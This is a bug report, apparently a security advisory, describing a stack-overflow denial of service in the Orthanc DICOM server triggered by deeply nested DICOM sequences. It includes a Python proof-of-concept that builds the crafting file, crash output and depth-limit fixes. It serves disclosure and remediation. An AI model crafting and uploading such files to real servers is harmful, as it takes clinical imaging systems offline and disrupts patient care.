Bug 258

Created attachment 149 [details]
dicom_nested_50

### Denial of Service via Deeply Nested DICOM Sequences
**Severity:** High (CVSS 7.5)  
**Component:** `OrthancFramework/Sources/DicomParsing/FromDcmtkBridge.cpp` + DCMTK `libdcmdata`  
**Affected versions:** Orthanc ≤ 1.12.10 (all current releases)

#### Description
Uploading a DICOM file containing deeply nested Sequence of Items (SQ) causes a stack overflow in the civetweb HTTP worker thread, crashing the entire Orthanc process. 

Two mutually recursive call chains both lack any depth limit:

**Chain 1 — DCMTK parsing (crashes at ~50 levels):**
```
DcmItem::read()
  └─ DcmSequenceOfItems::read()
       └─ DcmItem::read()
            └─ ...  (no depth check anywhere)
```

**Chain 2 — Orthanc JSON serialization (would crash independently):**
```cpp
// FromDcmtkBridge.cpp ~line 1218
void ElementToJson(..., unsigned int depth) {
    DcmSequenceOfItems& seq = dynamic_cast<DcmSequenceOfItems&>(element);
    for (unsigned long i = 0; i < seq.card(); i++) {
        DatasetToJson(v, *child, ..., depth + 1);  // NO DEPTH LIMIT
    }
}
void DatasetToJson(..., unsigned int depth) {
    for (unsigned long i = 0; i < item.card(); i++) {
        ElementToJson(parent, *element, ..., depth);  // CALLS BACK
    }
}
```

#### Exploitation
Craft a DICOM with N levels of nested private SQ sequences (Explicit VR Little Endian, undefined-length encoding). Upload to `POST /instances`.

```python
# 50 levels of nesting → SIGSEGV in civetweb worker thread
ITEM_TAG = struct.pack('<HH', 0xFFFE, 0xE000) + b'\xff\xff\xff\xff'
for _ in range(50):
    buf.write(pack_tag(0x7777, 0x0001) + b'SQ\x00\x00' + b'\xff\xff\xff\xff')
    buf.write(ITEM_TAG)
for _ in range(50):
    buf.write(SEQ_END_TAG + ITEM_END_TAG)
```

Crash confirmed in `DcmItem::readTagAndLength` (libdcmdata.so.19.3.6.9 offset 0x10ae0b):
```
dmesg: civetweb-worker[...]: segfault at ... error 6 in libdcmdata.so.19.3.6.9
```

The crash kills the entire Orthanc server process (all HTTP/DICOM services stop), not just the handler thread, because the worker is part of the single Orthanc process.

#### Impact
- Complete availability loss for all Orthanc services until manual restart
- Attackable from any network with HTTP access to port 8042
- A single 2.3 KB DICOM file is sufficient; no looping or sustained traffic needed
- Particularly severe in clinical environments where Orthanc is used for patient imaging

#### Root Cause
DCMTK's `DcmItem::read()` / `DcmSequenceOfItems::read()` recursion has no depth limit.
Orthanc's `DatasetToJson()` / `ElementToJson()` also has no depth limit. The fix requires adding a depth check in both:

```cpp
// In DcmItem::read() / DcmSequenceOfItems::read() (DCMTK upstream fix)
if (nestingDepth > MAX_SQ_DEPTH) return EC_InvalidTag;

// In Orthanc FromDcmtkBridge.cpp
void DatasetToJson(..., unsigned int depth) {
    if (depth > 64) {
        target.append(Json::objectValue);
        return;
    }
    ...
}
```


#### Remediation
- **Orthanc:** Add depth limit (~64 levels) to `DatasetToJson()` / `ElementToJson()` in  `OrthancFramework/Sources/DicomParsing/FromDcmtkBridge.cpp`
- **DCMTK:** Add depth limit to `DcmItem::read()` (report to DCMTK maintainers separately)


---